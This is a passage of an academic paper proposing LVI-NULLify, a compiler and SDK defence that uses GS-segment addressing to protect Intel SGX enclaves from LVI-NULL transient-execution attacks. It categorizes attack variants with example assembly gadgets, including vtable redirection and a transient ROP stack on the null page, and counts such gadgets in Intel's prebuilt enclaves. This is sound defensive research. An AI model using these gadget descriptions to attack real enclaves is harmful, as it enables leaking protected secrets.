which is under full control of the SGX enclave. The second
part of LVI-NULLify is a modified SGX-SDK that maintains
interoperability with the untrusted userspace program.

The security of LVI-NULLify relies on special preparation
of the enclave’s memory region, mitigating transient injection
of arbitrary values. LVI-NULLify marks the first pages in
the enclave’s memory region as non-executable. Transiently
executing non-executable memory leads to an immediate stall,
preventing any attack. LVI-NULLify also marks these pages
as non-readable. We empirically validated that this immedi-
ately stalls the load and dependent instructions.

In our evaluation, we show that LVI-NULLify is extremely
lightweight, with runtime overheads below 10% in the worst
case. This is substantially faster than previous defenses
against LVI with a prohibitive overhead of 1220% in the worst
case in our tests. The memory overhead of LVI-NULLify
is around 21.5% on the code size due to the generation of
instruction sequences that explicitly use segmentation. We
illustrate that our mitigation is a practical solution to protect
SGX enclaves on hardware vulnerable to LVI-NULL but not
LVI.

To summarize, we make the following contributions:
1. We systematically analyze and categorize LVI-NULL vari-

ants, revealing common attack requirements, and insuffi-
ciencies of previously proposed defenses.

2. We propose, LVI-NULLify, a novel lightweight defense
against LVI-NULL in SGX, repurposing segmentation in
a peculiar fashion.1

3. We evaluate the security and performance of LVI-
NULLify. We demonstrate that SGX enclaves on the LVI-
fixed Comet Lake CPU are only secure with our defense.
We observe a performance overhead below 10%.

Outline. Section 2 provides background. Section 3 de-
tails our threat model. Section 4 systematically analyzes LVI-
NULL variants. Section 5 presents the design and implemen-
tation of LVI-NULLify. Section 6 evaluates its security and
performance. Section 7 discusses limitations. Section 8 con-
cludes.

1We open-source LVI-NULLify on github : https://github.com/
IAIK/LVI-NULLify/.

2 Background

2.1 Transient-Execution Attacks
Transient-execution attacks [8] are a new class of attacks
that exploit so-called transient instructions, i.e., instructions
that are executed but never retired, to leak sensitive data.
Kocher et al. [34] introduced the first sub-class with Spec-
tre, while Lipp et al. [41] introduced the second with Melt-
down. While Spectre attacks exploit control- or data-flow
predictions made by the hardware, Meltdown exploits the
deferred permission check when accessing memory from a
different security domain. This deferred permission check
allows the out-of-order execution to encode the normally in-
accessible data in the cache from where the attacker then
extracts it. Subsequent work showed additional variants in
both sub-classes [4,8,18,33,42,44,52,53,57,69]. Additional
work has summarized the state-of-the-art of both transient-
execution attacks [5, 8, 70] and defenses [6, 8].

2.2 Load Value Injection
Load Value Injection (LVI) turns Meltdown around by exploit-
ing faults in the victim [60]. Thus, instead of leaking values,
LVI injects values into the transient execution of the faulting
victim. For LVI, the attacker prepares a microarchitectural
buffer, e.g., the store buffer or L1, by filling it with the val-
ues that should be injected into the victim. Then, the victim
has to suffer a fault or a microcode assist when fetching data
from memory to transiently use the values injected by the
attacker. The execution of subsequent instructions with the
injected value is then exploited to either encode secrets in the
microarchitecture or hijack the control or data flow. Similar
to Spectre, LVI requires the gadget to be in the victim and has
to additionally induce a fault or assist in the victim.

For unmitigated processors, the state-of-the-art solution for
LVI is to insert lfence instructions after memory loads [29].
These fences ensure that faulting loads retire before the next
instruction, effectively stopping all variants of LVI. However,
this type of software mitigation comes with a performance
penalty between factor 2 and 19 [38, 60].

2.2.1 LVI-NULL

Starting with the Cascade Lake microarchitecture, Intel pro-
cessors include in-silicon mitigations against Meltdown, Fore-
shadow, and MDS attacks, including LVI [27]. These mitiga-
tions prevent non-zero value injections through all currently
known buffers. However, this mitigation only prevents the
attacker from injecting attacker-controlled data. Instead of
stalling, faulting loads still transiently forward ‘0’ to depen-
dent instructions [7, 60]. Hence, by inducing a fault in the
victim domain, an attacker injects the constant value ‘0’ into
the transient execution of the victim. This variant of LVI is
called LVI-NULL. Even injecting ‘0’ can be exploited to great
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effect, e.g., to transiently inject round keys consisting entirely
of ‘0’ into AES-NI computations [60].

The Comet Lake series represents Intel’s latest SGX-
enabled generation available for both mobile and desktop
workstation models that is affected by LVI-NULL [27]. Ice
Lake processors based on the Sunny Cove architecture appear
to be unaffected by LVI-NULL [27].

2.3 Intel SGX
To provide processor-level isolation and attestation for se-
cure enclaves, Intel developed Software Guard Extensions
(SGX) [12]. By design, SGX assumes that only the processor
is trustworthy. Hence, an attacker can have full control of the
operating system while still being within the threat model.

When a secure enclave is run, it is placed in the virtual
address space of an untrusted user-space process. While the
operating system is untrusted, it is still responsible for main-
taining the virtual-to-physical address mappings. Naturally,
this would make the enclave vulnerable to address remapping
attacks [12]. To prevent these, SGX maintains its own shadow
entry in the Enclave Page Cache Map (EPCM) containing the
expected virtual address and the permission bits (R-W-X) for
each valid enclave page. In case an illegal virtual-to-physical
mapping is encountered, an EPCM page fault is raised.

Although side-channel attacks are not in scope of the
SGX threat model, previous work showed that powerful side-
channel attacks can be mounted against SGX. A root attacker
can still mount low-noise side-channel attacks through the
cache [2,43,50], page-table accesses [62,64,71], interrupt tim-
ing [63], or branch predictors [14,19,40]. SGX is also vulner-
able to transient-execution attacks [9, 52, 59, 65] and Intel has
released microcode updates to protect against them [23, 25].

2.4 Virtual Memory and Segmentation
In modern systems, virtual address spaces are used as an ab-
straction and to isolate processes. Hence, they are natively
supported by the hardware. Each process works in its own,
largely non-overlapping, virtual address space and cannot
unintentionally interfere with the memory of another pro-
cess. The used virtual addresses need to be translated to the
corresponding physical addresses using a multi-level page
translation table. The location of the table for the current pro-
cess is indicated by a dedicated register and is switched by
the operating system upon a context switch.

Another concept besides paging is segmentation. The idea
is to have a set of segments for different uses, e.g., code, data,
stack. While older processors used segmentation to enable
the use of more physical memory, newer ones mainly use it
as a protection mechanism.

Segments are configured via segment descriptors that are
located in memory and are then used in conjunction with
paging. Each segment descriptor has a base address and a limit.

During the address translation, the CPU adds the base address
to the segmented virtual address, yielding a non-segmented
virtual address. Some instructions use segments implicitly
(e.g., push and pop with the stack segment), and code fetches
are implicitly performed via the code segment. Data segments
can be used explicitly with memory referencing instructions.

On modern systems, paging has completely replaced seg-
mentation for virtual address translation. Consequently, pro-
cessor manufacturers removed this feature in the 64-bit long
mode (IA-32e) for all segments but fs and gs. All but these
two segments are now required to have a base of 0 and the
maximum possible size. The segments fs and gs still support
base and limit as they are broadly used to implement thread
local storage for user threads and core local storage in op-
erating systems. Hence, to use the base and limit feature of
segmentation on 64-bit systems, user-level software has to
use instructions that use fs or gs, and the operating system
has to set up fs or gs with a base and a limit.

2.5 Object Relocations
Relocations are an essential part of the ELF file format [1,
13]. If a symbol is referenced inside an object file, the linker
or the dynamic loader has to resolve the symbol’s address
and replace all the occurrences of this reference with the
real symbol address. The relocation type specifies how this
address should be calculated and which symbol is referenced.

SGX enclaves behave similarly to dynamic libraries and
can be loaded on arbitrary addresses inside the main pro-
gram’s virtual address space. Therefore, enclaves and dy-
namic libraries need a mechanism to adjust addresses inside
the image to point to the desired position in the address space.
The most common way to achieve this is by using relative
addressing, where all the absolute addresses inside the library
are calculated over the instruction pointer. This type of relo-
cation can be resolved during linking of the dynamic library.

In contrast to relative addressing, dynamic libraries also
support absolute addressing where the dynamic loader re-
solves the addresses after the base address where the image
is loaded is known. Here, the loader replaces placeholders
inside the dynamic library with the real symbol address.

3 Threat Model

Hardware. For our mitigation, we assume a current or fu-
ture Intel processor with SGX that mitigates LVI in hard-
ware but does not prevent LVI-NULL, such as, e.g., the
Comet Lake microarchitecture. We assume that there are
no Meltdown-type transient-execution attacks [41, 52, 59, 65]
that directly leak data from enclaves. Moreover, hardware
vulnerabilities such as Rowhammer [16, 30, 32] or under-
volting [31, 45, 47] are out of scope. We also assume that
Spectre-type attacks [8, 9, 34] are either mitigated in hard-
ware, firmware, or software. Additionally, we assume hyper-
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threading to be disabled. The Intel SGX Attestation Service
indicates whether hyperthreading is enabled, so the verifying
party can enforce its status.

Software. We assume a privileged attacker that is explic-
itly within the scope of the Intel SGX threat model. For the
enclave, we assume that it is not vulnerable to traditional side-
channel attacks, such as cache attacks [2,43,50] or controlled-
channel attacks [71]. We assume that an attacker can start the
enclave as often as required and thus rely on precise execu-
tion control, such as single- or zero-stepping [62]. Bugs in the
enclave, e.g., synchronization problems [49, 66], or missing
validations on the ABI or API level [61], are out of scope.

We consider only 64-bit enclaves, since enclaves can be (cf.
Section 2.4) attacked via 32-bit segmentation [17], but not via
64-bit segmentation due to differences in the behavior.

Takeaway: Our mitigation targets 64-bit SGX enclaves
on CPUs vulnerable to LVI-NULL, but not vulnerable
to LVI.

4 Detailed Investigation of LVI-NULL

In this section, we first investigate the prevalence and impact
of different LVI-NULL scenarios, and their applicability to
SGX. We then examine the overhead and efficacy of current
and proposed mitigations.

4.1 LVI-NULL Categorization
We distinguish control-flow and data-flow attacks (cf. Fig-
ure 1).
Control-flow Attacks. In control-flow attacks, the instruc-
tion pointer is transiently redirected in a way that serves the
attacker. Again, we distinguish two cases: direct code redirec-
tion ( 1 ) to the null page, or indirect redirection to arbitrary
locations ( 2 and 3 ) via the null page. Direct redirection
( 1 ) is achieved by faulting the load that reads the call target,
thus injecting ‘0’ and redirecting code execution to the null
page. In contrast, arbitrary redirection allows code execution
anywhere in memory if the null page is attacker-controlled,
e.g., for Intel SGX enclaves (cf. Section 2.3). It applies to
indirect jumps ( 2 ), which load their targets from memory via
at least one indirection. Faulting the second to last load causes
the jump target to be loaded from an offset in the null page,
which allows arbitrary redirection. A special case of indirect
redirection are sequences like pop rsp; ret, which load the
stack pointer from memory and then return. This allows an
attacker to set up a transient stack ( 3 ) on the null page by
faulting the stack pointer load, and perform a well understood
ROP [46, 55] attack from there.
Data-flow Attacks. Data-flow attacks inject data into the
victim’s execution. We distinguish between direct ( 5 ) and
indirect ( 6 ) loads, which allow the injection of either ‘0’ or

arbitrary values. Van Bulck et al. [60] showed that injecting
‘0’ into the hardware AES-NI key schedule leaks the full key.
A special case are binary branches and switch statements ( 4 ),
which can be compiled as jump tables. Here, data-flow ma-
nipulation changes the control flow, but only to the available
branches.
Limitations. While LVI-NULL attacks are possible to ex-
ecute from user space, several significant limitations apply.
First, user-space attackers cannot manipulate page tables di-
rectly. This prevents these attackers from arbitrarily causing
assists or faults on targeted loads. Secondly, most operating
systems do not allow mapping of the null page by default.
Both Linux and Windows require privileged access to map
it, limiting the user-space attack surface to two cases ( 4 and
5 ). The exploitability of direct load ‘0’ injection ( 5 ) de-

pends on the targeted algorithm, and is thus best mitigated by
developers themselves. Manipulating regular branches with
‘0’ injections ( 4 ) is similar to Spectre variants and can be
mitigated the same way.

4.2 Control-flow Injection

C/C++ compilers, such as GCC and Clang, commonly emit
code patterns containing jump instructions whose target de-
pends on an address or value loaded from memory. In our
analysis, we found 3 categories of such jumps that are poten-
tially susceptible to LVI-NULL.
Case 1: Virtual Function Calls in C++ ( 1 and 2 ) When
objects in C++ call a virtual function, it is not known at com-
pile time which function is being called. To solve this, each
object has its own table (vtable), which contains the location
of its virtual functions. Because the location of a dynamically
allocated object itself (and thus its vtable) is also not known
at compile time, calling a virtual function requires at least 2
loads. This creates 2 possible points of injection. First, the
attacker may inject ‘0’ when the target is read from the vtable.
This load may be generated by an indirect call instruction or a
mov before a direct call, and can transiently redirect execution
to the null page ( 1 ). Secondly, the attacker can inject ‘0’ one
load earlier, i.e., when the address of the vtable is read. This
causes the null page to act as the vtable, allowing transient
redirection of execution to any location ( 2 ). As the offset
in the vtable is known at compile time, it is compiled to an
immediate value that cannot be manipulated by LVI-NULL.

Exploitable in SGX enclaves? Very likely.
Indirect function calls ( 2 ) occur frequently and are almost
always immediately exploitable, as they allow redirection to
any suitable gadget.

Case 2: Global Offset Table ( 1 ) Another potentially inter-
esting case is the global offset table (GOT), which enables
programs to use functions in dynamically linked libraries. Un-
like vtables, the GOT is always at a known location, and so
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control flow data flow

data injection

arbitrary, indirect

req. r(w) page 0

5 direct load

mov (mem),%reg

injects null
e.g. faulting aes

- gadget

6 indirect load

mov (mem),%reg
mov (%reg),%reg

injects arbitrary
values
- r(w) page 0

1 direct jump

mov (mem),%reg
call *%reg

execute page 0
e.g. via vtable

- r(w)x page 0
- if non-writeable:
→ gadget

3 transient stack

pop esp
ret

ROP via
stack on page 0

- rw page 0

4 branches

cmp %reg,(mem)
je *offs

change branch
target, special
case: switch
- gadget

example asm
sequence

attack
scenario

requirements

2 indirect jump

mov (mem),%reg
call *(%reg)

run address
at 0, e.g. vtable

- r(w) page 0
- if non-writeable
→ gadget

Figure 1: Categorization of LVI-NULL into control-flow and data-flow attacks. Subcategories list the different attack vectors and
example assembly sequences for each (in AT&T syntax), the attack scenario, and their requirements.

only the call target is loaded. After the initial dynamic reloca-
tion of the symbols in the GOT, this only creates the potential
to transiently redirect execution to address 0x0.

Exploitable in SGX enclaves? No.
While direct function calls ( 1 ) are frequent, they are not
exploitable in SGX.

Case 3: Switch Statements ( 4 ) For certain switch cases,
compilers generate a jump table, first loading the variable in
question, and then looking up the corresponding jump target.
This only applies to switch variables loaded from a single
memory location, and not derived calculations. In position-
independent code (PIC), this creates 2 attack points: injecting
‘0’ into the variable itself, or injecting ‘0’ when the jump target
is calculated. The former transiently leads the switch into the
‘0’ case, executing code there as if the variable were ‘0’. The
latter causes the program to jump into the data section instead,
as both GCC and Clang load offsets relative to the jump table.
These offsets are likely not valid code, and furthermore, as
Canella et al. [8] showed, the executable bit is respected in
transient execution, so this injection is not exploitable here.
When compiled as non-relocatable (no-pic), execution can
again be redirected to the first case. Additionally, it can now be
redirected to address 0x0, as the jump table contains absolute
addresses, which can be zeroed on load ( 1 ).

Exploitable in SGX enclaves? Unlikely.
Similiar to Spectre-PHT [8], exploitability is highly depen-
dent on the specific case, but case-0-injections can be pre-
vented reliably (see Section 5).

These are the three cases of commonly used code we found
to enable control-flow injection. We expect there are more
cases in other code patterns, compilers, or languages. How-
ever, for SGX, LVI-NULLify copes with all types of control-
flow injection, as all control-flow injections rely on the null

page. Table 1 explores the prevalence of such gadgets in stan-
dard SGX code.

4.3 Data Injection

Data injection gadgets are simply direct or indirect loads from
memory, and as such, they are ubiquitous in all programs.
Van Bulck et al. [60] have shown that in some cases, even ‘0’
injections can be exploited to great effect. However, in cases
where data injection does not lead to changes in control flow,
it depends entirely on the algorithm at hand whether it can be
exploited. As a direct ‘0’ injection ( 5 ) cannot be mitigated by
software changes short of adding a load-serializing instruction
after all potentially problematic loads, we do not consider this
case. Instead, we leave it to the authors of software to guard
their critical computations, such as cryptography, with this
possibility in mind. However, in Section 5, we propose a way
to prevent arbitrary data injection via indirect loads ( 6 ).

Exploitable in SGX enclaves? Likely.
The danger of transient data injection depends on the tar-
geted algorithm, but arbitrary value injection provides high
flexibility for exploitation.

4.4 Applying LVI-NULL Variants in SGX

Of the attack vectors presented in Section 4.1 (cf. Figure 1), 4
out of 6 require at least read access to the null page. Variants
4 and 5 have no particular requirements and apply in any
case. Most modern operating systems do not map the null
page by default and typically require root privileges to do
so [11]. Since the purpose of SGX enclaves is to protect
against malicious or compromised operating systems, their
threat model currently allows attackers to use the null page as
they see fit.
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Gadget/File QE LE PCE PVE trts tsdc tcxx tcmalloc
mov (mem), %reg
mov (%reg), reg
call *reg

216 0 123 216 0 0 0 4

mov (mem), %reg
call *(%reg)

0 45 0 0 0 0 19 3

mov (mem), %rsp 0 2 0 0 1 0 1 0
mov (mem), %reg
mov %reg, %rsp
ret

1 1 1 1 1 0 0 0

mov (mem), %reg1
mov %reg1, %reg2
mov %reg2, %rsp
ret

0 0 0 0 0 0 0 0

pop %reg
mov %reg, %rsp
ret

0 0 0 0 0 0 0 0

Table 1: Number of control-flow gadgets found in Intel’s
prebuilt (quoting, launch, provisioning) enclaves and SDK
libraries. Search was limited to instruction sequences with
fewer than 10 separating instructions.

From within an enclave, all memory of the user-space pro-
cess is available for reading and writing according to its page-
table entries, as it would be to the process itself. This implies
that variants 2 , 3 , and 6 apply fully if the null page is
writable or with limitations, if it is not. Variant 1 , however,
requires the null page to be executable. Van Bulck et al. [60]
experimentally found that code outside of enclave memory is
not executable from within an enclave, even during transient
execution. This was later confirmed by Intel [29], and we have
reproduced this result as well. It follows that the only way
to execute instructions at address 0x0 is to load the enclave
itself starting at the null page. Since the Intel SDK does not
build enclaves with execute permissions on this page [29], we
consider variant 1 not exploitable in SGX enclaves.

To evaluate the prevalence of assembly sequences that al-
low LVI-NULL types 2 and 3 , we search several prebuilt-
and SDK-generated binaries for a limited selection of ex-
ploitable assembly patterns. As Table 1 shows, indirect calls
( 2 ) are plentiful in these binaries, though they are currently
mitigated by lfence instructions. We find that there are even
some gadgets for variant 3 . An especially interesting obser-
vation is that the original transient stack gadget, as described
by Van Bulck et al. [60], is still present in unmitigated form
in the prebuilt launch enclave for Linux provided by Intel as
of SDK release 2.11.

An analysis of how some code patterns generate vulnerable
instruction sequences is shown in Section 4.2.

Takeaway: 2 , 3 , 4 , 5 , and 6 are all feasible in SGX.
1 is feasible, but mitigated by default.

4.5 Current and Proposed Mitigations

In this section, we discuss the two main types of mitigations
against LVI and LVI-NULL for SGX.

4.5.1 Memory Fences

The officially suggested mitigation against LVI is to stop
transient execution before it can be exploited. Similar to the
mitigations for Spectre [24], Intel also suggests to use memory
fences for aborting transient execution [29]. As it is infeasible
to add memory fences manually, these memory fences are
supposed to be emitted by the compiler. With the publication
of LVI [60], Intel has provided 2 levels of mitigation [28, 29],
and Google engineer Zola Bridges another [3, 37]:
Control-Flow Mitigation. This mitigation replaces ret,
call, and jmp instructions by fenced alternatives. It protects
transient control-flow redirection at the cost of effectively
disabling all control-flow predictors. However, it does not
generally protect against value injection and only prevents
these special cases. Compilation options: -mlvi-cfi
SESES. “Speculative Execution Side Effect Suppression”
aims to prevent more than just LVI by adding an lfence
instruction before every instruction that operates on mem-
ory. This approach fully mitigates LVI, LVI-NULL, and other
transient execution attacks. Compilation options: -mseses
Optimized Cut. In addition to CFI, this mitigation for
LVI (which we call “optimized cut”) tries to separate
loads from potential transmit gadgets by analyzing the
control-flow graph of applications. Hence, the com-
piler can insert far fewer lfence instructions than
SESES while still providing the same security guaran-
tees w.r.t. LVI. Compilation options: -mlvi-hardening
-mllvm -x86-lvi-load-opt-plugin=OptimizeCut.so
-x86-experimental-lvi-inline-asm-hardening

While these three levels of mitigation differ in the amount
of lfence instructions (cf. Table 2), they all incur heavy per-
formance penalties in the range of factor 2 to 19 [38, 60].

4.5.2 Page Table Protections

Van Bulck et al. [60] also proposed specific mitigations for
LVI-NULL. To prevent execution of the null page ( 1 ), they
suggest marking the first page in an enclave as non-executable
or placing an infinite loop at the base of the enclave image.

As described in Section 4.4, marking a page non-executable
indeed prevents execution in the transient domain. Experi-
ments on our i5-10210U show that this holds even if the OS
marks a page as executable after loading the enclave. Read,
write, and execute permissions are also stored with the ex-
pected virtual address in the protected Enclave Page Cache
Map (EPCM) entries. Our experiments suggest that in tran-
sient execution, the CPU considers the permission bits of both
the page table and the EPCM and applies whichever is less
permissive. As this prevents 1 , an infinite loop or similar is
not necessary.

To stop transient null pointer dereferences ( 2 , 3 , and 6 ),
Van Bulck et al. [60] suggest marking the null page as un-
cacheable. This has also been proposed as a possible mitiga-
tion for Spectre attacks [51], as uncachable memory cannot
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non-enclave memory enclave image

enclave start enclave endGS-base0

unreadable pages

Figure 2: Memory layout of enclaves protected with LVI-
NULLify.

be read during transient execution. Any transient access to un-
cachable memory simply stalls [51]. While this would indeed
prevent loads from this page, the OS can simply change these
flags at any time, as they are not protected by SGX. We veri-
fied that in contrast to the read, write, and execute permissions,
the memory type is not enforced by SGX and can be manipu-
lated to mount an attack. Additionally, injection via the shared
line-fill buffer is possible on some architectures [44,51,52,65]
if hyperthreading is enabled.

Takeaway: Current mitigations are too costly or are
insufficient.
All LVI-NULL variants are preventable by LVI mitiga-
tions, but incur substantial performance degradation. Other
proposed mitigations are only partially effective.

5 LVI-NULLify

Previous mitigations have been designed primarily for LVI,
not LVI-NULL. Hence, they mitigate attacks that are already
mitigated more efficiently in current and future Intel proces-
sors, e.g., the recent Comet Lake microarchitecture. Following
the analysis of Section 4.5, we can see that these previous
mitigations either have a substantial performance overhead
or are limited to only certain variants of LVI-NULL. This
motivates the need for a defense that is more tailored to LVI-
NULL. In this section, we present LVI-NULLify, our mitiga-
tion for LVI-NULL affected hardware that achieves a better
balance between performance cost and remaining attack sur-
face than previous LVI mitigations. The worst-case overhead
on our LVI mitigated Comet Lake is only ≈ 9%, our older
LVI-vulnerable Coffee Lake-R reaches a maximum of 36%
overhead.

5.1 LVI-NULLify Design

LVI-NULLify aims to prevent all LVI-NULL variants in our
threat model (see Section 3). This includes variants 1 , 2 ,
3 , and 6 . Though we categorize switch expressions as a

subclass of branches ( 4 ) in Section 4.1, we briefly describe a
mitigation in Section 5.1.4 that is also applicable outside of
SGX. Since all other variants involve the null page, the central
feature of LVI-NULLify must be to control either its contents
or accessibility. Therefore, we devise a way to effectively

move the LVI-NULL target page into the enclave, even if
address 0x0 is not in the enclave’s linear address space.

SGX does not currently offer any control over pages out-
side of the enclave memory range. Hence, loading an enclave
anywhere but page null means giving up control of the null
page. As multiple enclaves can and often need to be loaded
simultaneously, only loading an enclave if it is mapped at
address 0x0 is not a practical option. Our solution is to off-
set every memory load in the enclave such that any pointers
that are loaded from memory are added to an immutable con-
stant. For this constant, we use the virtual base address of
the enclave image. The resulting memory layout is shown in
Figure 2. Even if an address load faults and transiently returns
‘0’, the resulting load address is still within the enclave. This
puts the control over the pages targeted by LVI-NULL into
the hands of the enclave, regardless of where an attacker maps
it.

5.1.1 Using Segmentation

To offset loads on commodity Intel CPUs, we rely on seg-
mentation. In 64-bit mode, segments typically have to start at
address 0x0. However, the GS and FS segment registers are
an exception and can have non-zero base addresses. Conve-
niently, the EENTER and ERESUME instructions automatically
set these base addresses to the enclave base address plus a
developer-controlled, positive offset. As the GS and FS regis-
ters are set on each entry, and the offsets are stored in enclave
memory in the thread control structures (TCS), these values
are inaccessible to the OS. They are also part of the enclave’s
attestation, preventing manipulation at load time. The Intel
SGX-SDK sets both registers to the same value, creating an
unnecessary redundancy. We can thus repurpose one of the
two segment registers, in our case GS, for LVI-NULLify.

Since address calculation with segment bases is an integral
part of x86 hardware, there is no noticeable slowdown for
GS-relative loads, as we experimentally verify in Section 6.
We set the GS base to the beginning of the enclave, such
that data loads in our enclave are now relative to the begin-
ning of the enclave. This means that we essentially build a
non-relocatable object (no-pic) that gains its position inde-
pendence by adding GS base to all addresses.

Applying this mitigation to generic SGX enclaves requires
the modification of 3 components: the compiler, the Intel
SGX-SDK, and the Intel Platform Software (PSW). The com-
piler has to emit GS-relative loads for all memory-load in-
structions. We discuss how this is implemented in LLVM in
Section 5.2. Section 5.3 then details the custom relocations
that are necessary after compilation. Changing all load in-
structions also implies that all addresses inside the enclave
are invalid outside and vice versa. Hence, this necessitates an
automatic pointer conversion from the trusted runtime system
(tRTS) to the untrusted runtime system (uRTS). Additionally,
the tRTS itself needs to be built with our compiler modifi-
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cation. We detail the necessary modifications to the SDK in
Section 5.3.2. As the GS offset is in part calculated by the
PSW, we need to enable it to distinguish between enclaves
mitigated by LVI-NULLify and unmitigated enclaves. The
changes to the PSW are also described in Section 5.3.2.

5.1.2 First Enclave Pages

With GS-relative addressing, most transiently faulting indirect
loads read from the first page of the enclave. For this reason,
it is critical that reading from it does not return values that
can be used in an attack. To prevent variant 1 of LVI-NULL,
which requires code execution, simply making this page non-
executable is sufficient. Additionally, marking the first page
non-readable in the EPCM entry prevents all variants that
load from this page ( 2 , 3 , and 6 ). Transient accesses to
such pages simply stall, as we have experimentally confirmed
on several CPUs, including our i5-10210U Comet Lake. This
stops all further dependent accesses. However, the first page
in an enclave may contain data that the dynamic loader inside
the enclave needs to access. We, therefore, shift the enclave
image and prepend empty pages that are neither readable
nor executable. The amount of such pages that are needed
depends on the enclave program; loads with offsets, where the
base address can be zeroed, may transiently load more than
1 page from the GS base address or even below it. Negative
offsets could, therefore, lead to loads that escape the enclave.
Fortunately, the size of all immediate offsets is known at
compile time. We can determine a safe amount of empty
pages to map before and after the GS base after compilation.
An example with 2 pages on each side of the GS base address
is shown in Figure 2.

The residual attack surface to this approach are dynamic
arrays. When neither position nor size are known at compile
time, loads can take the form base + offset, where both base
and offset are loaded from memory. If an attacker faults the
base, the transient load target is potentially anywhere from the
enclave beginning up to the size of the dynamically allocated
structure.

5.1.3 Alternative Approaches

There are other, less peculiar mechanisms to prevent faulting
loads from reaching the null page. We want to examine two
candidates here, as their shortcomings are not immediately
apparent.

First, we could simply add the base address to all loads by
converting every load to use complex addressing. For this, we
cannot load the base address from memory, as this load could
again be zeroed. A solution would be to always keep the base
address in a CPU register, but this reduces the number of
registers available to the compiler. This can incur significant
performance impacts as less efficient code can be generated.
Alternatively, we could use memory fences for these loads,

which would again result in large performance overheads.
Additionally, any load that already uses complex-addressing
needs an additional offset computation beforehand.

The second approach would be to employ immediate ad-
dresses by using the dynamic loader to relocate all symbols.
An undesirable side effect of this method is the need to set
the text section of the enclave to writable and executable. As
enclave pages cannot currently change access permissions at
runtime, this would weaken the enclave’s protection against
traditional exploits that might otherwise not be exploitable.As
x64 does not generally support 64-bit displacement in com-
plex addressing [21], this is also not a possibility. Only AL,
AX, EAX, and RAX may be the source or target of immediate
64bit-addressed memory loads, which introduces the need for
more intermediary registers [26].

5.1.4 Mitigating Switch Statements

Regular branches ( 4 ) can be mitigated with Spectre-PHT
mitigations, e.g., speculative load hardening. Switch state-
ments present a special case of branches. On processors
with hardware mitigations for branch target injection, e.g.,
single thread indirect branch predictors (STIBP) [22], such
as the Comet Lake series, switch statements are protected
from cross-hyperthread manipulation through the branch tar-
get buffer. However, they are still vulnerable to LVI-NULL
when the compiler generates a jump table (see Section 4.2,
case 3). We can mitigate the case of single-variable conditions
(conditions that only depend on one in-memory variable) by
targeted insertion of lfence instructions. This is described in
more detail in Section 5.2. It is the only variant we mitigate
that can also be exploited outside of SGX, and this mitigation
can also be applied alone.

5.2 Compiler Changes

We developed an open-source implementation of the compiler-
part of LVI-NULLify that is based on the LLVM compiler
framework [39]. It handles the insertion of fences in switch
statements (cf. Section 4.2) and ensures that every load is
relative to the GS segment (cf. Section 5). Our modification
consists of two new passes, one module pass (i.e., a transfor-
mation pass) that works on the LLVM intermediate represen-
tation (IR) and one machine function pass in the x86 backend.
The mitigation for switches is purely done in the pass on the
IR, while the GS-relative addressing is implemented in the
backend pass. For our modification, we added 1024 lines of
code to the LLVM code base (24 in 10 existing files, 1000 in
3 new files).
Switches. When compiling an application with optimizations
enabled, LLVM already tries to optimize the performance of
switches [35, 68]. These optimizations are implemented as
a transformation pass that iterates over all functions in the
translation unit. If a switch is encountered, the pass tries to
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push %rbp

callq 400480 <func>

pop %rbp

retq

call *16(%r12,%r13,8)

(a) unmodified

sub $0x8,%rsp
mov %rbp,%gs:(%rsp)
lea $return_address(%rip),%r11
sub $0x8,%rsp
mov %r11,%gs:(%rsp)
jmpq 400480 <func>
mov %gs:(%rsp),%rbp
add $0x8,%rsp
mov %gs:(%rsp),%rcx
add $0x8,%rsp
jmpq *%rcx
lea __ImageBase(%rip),%r11
add %gs:16(%r12,%r13,8),%r11
sub $0x8,%rsp
mov %r11,%gs:(%rsp)
lea $return_address(%rip),%r11
xchg %r11,%gs:(%rsp)
jmp *%r11

(b) modified

Figure 3: Figure 3a shows the unmodified assembly instruc-
tions containing implicit loads while Figure 3b shows the
instruction sequence with which they get replaced by our
modified compiler.

apply these optimizations. Unfortunately, this transformation
pass is only executed when the application is compiled with
at least optimization level 1. Hence, we cannot use it and need
to implement a new pass.

We extend LLVM with a new module pass (-flvi-null) that
iterates over all functions in the translation unit and searches
for a switch within the basic blocks that comprise the func-
tion. If such a switch is found, the mitigation is applied. If the
switch already contains a ‘0’ case, the compiler simply mod-
ifies the case such that the first instruction within the basic
block is a fence instruction. Otherwise, LVI-NULL falls back
to the default case of the switch. Either one can lead to ex-
ploitable behavior. To prevent this, the compiler inserts a new
‘0’ case that contains a fence instruction and then performs an
unconditional branch to the default case. This new ‘0’ case
is only ever executed if the default case is supposed to han-
dle zero values, or if an attack takes place. This significantly
reduces the performance impact.

By considering these two cases, the compiler part of LVI-
NULLify can mitigate LVI-NULL targeting switches. This
mitigation is not specific to SGX and does not require segmen-
tation, hence this can also be used in non-enclave applications.
While this mitigation on its own is not sufficient to fully pre-
vent LVI-NULL, as it only mitigates a subset of variant 4 , it
is a necessary building block for LVI-NULLify.
GS-Relative Addressing of Loads. As discussed in Sec-
tion 5, every load, explicit or implicit, has to be relative to
the GS segment. Thus, in case of an LVI-NULL attack, the
control flow is re-directed to a location that is controlled by
the SGX enclave. To achieve this, we add a new machine
function pass in the x86 backend of LLVM.

In the machine function pass, we iterate over each instruc-
tion of a given machine function, and replace explicit loads,
implicit loads from pushing to and popping from the stack,
as well as calls, jumps and returns, as all of these loads are
also exploitable by LVI-NULL ( 1 , 2 , 3 , and 6 ). Hence,
the transformation pass replaces each such instruction with
an equivalent sequence of instructions that use GS-relative
addressing where necessary. Figure 3 shows some cases that
we consider for implicit loads and how our modified compiler
mitigates them.

As jump and call instructions cannot use the GS segment,
and the CS segment cannot be changed (see Section 2.4), we
manually convert the relative call address of, e.g., an indirect
call, to an absolute address by adding the image base. To
protect this pointer conversion from LVI-NULL, we use a rip-
relative lea instruction to calculate the image base instead
of loading the address from memory. Hence, we ensure that
all pointers inside the enclave are relative to GS regardless of
their data representation.

As our pass is run as the last pass before the actual code is
emitted, no additional load can appear that is not GS-relatively
addressed. With these compiler modifications, and in combi-
nation with the further LVI-NULLify components, we suc-
cessfully mitigate LVI-NULL, as we show in Section 6.

5.3 Relocation and SGX-SDK Changes

In addition to the compiler changes (cf. Section 5.2), we
require additional changes in the relocations of the object
files (cf. Section 2.5) and changes in the SGX-SDK and SGX-
PSW to realize the GS-relative addressing. We discuss these
changes in this section.

5.3.1 Relocation Types

The generated instructions from our compiler pass do not use
the instruction pointer for relative addressing, and therefore,
the compiler emits absolute relocations. Since the enclave
image is signed by the author of the enclave and the sig-
nature is verified during the enclave initialization, absolute
address relocations cannot be resolved before verifying the
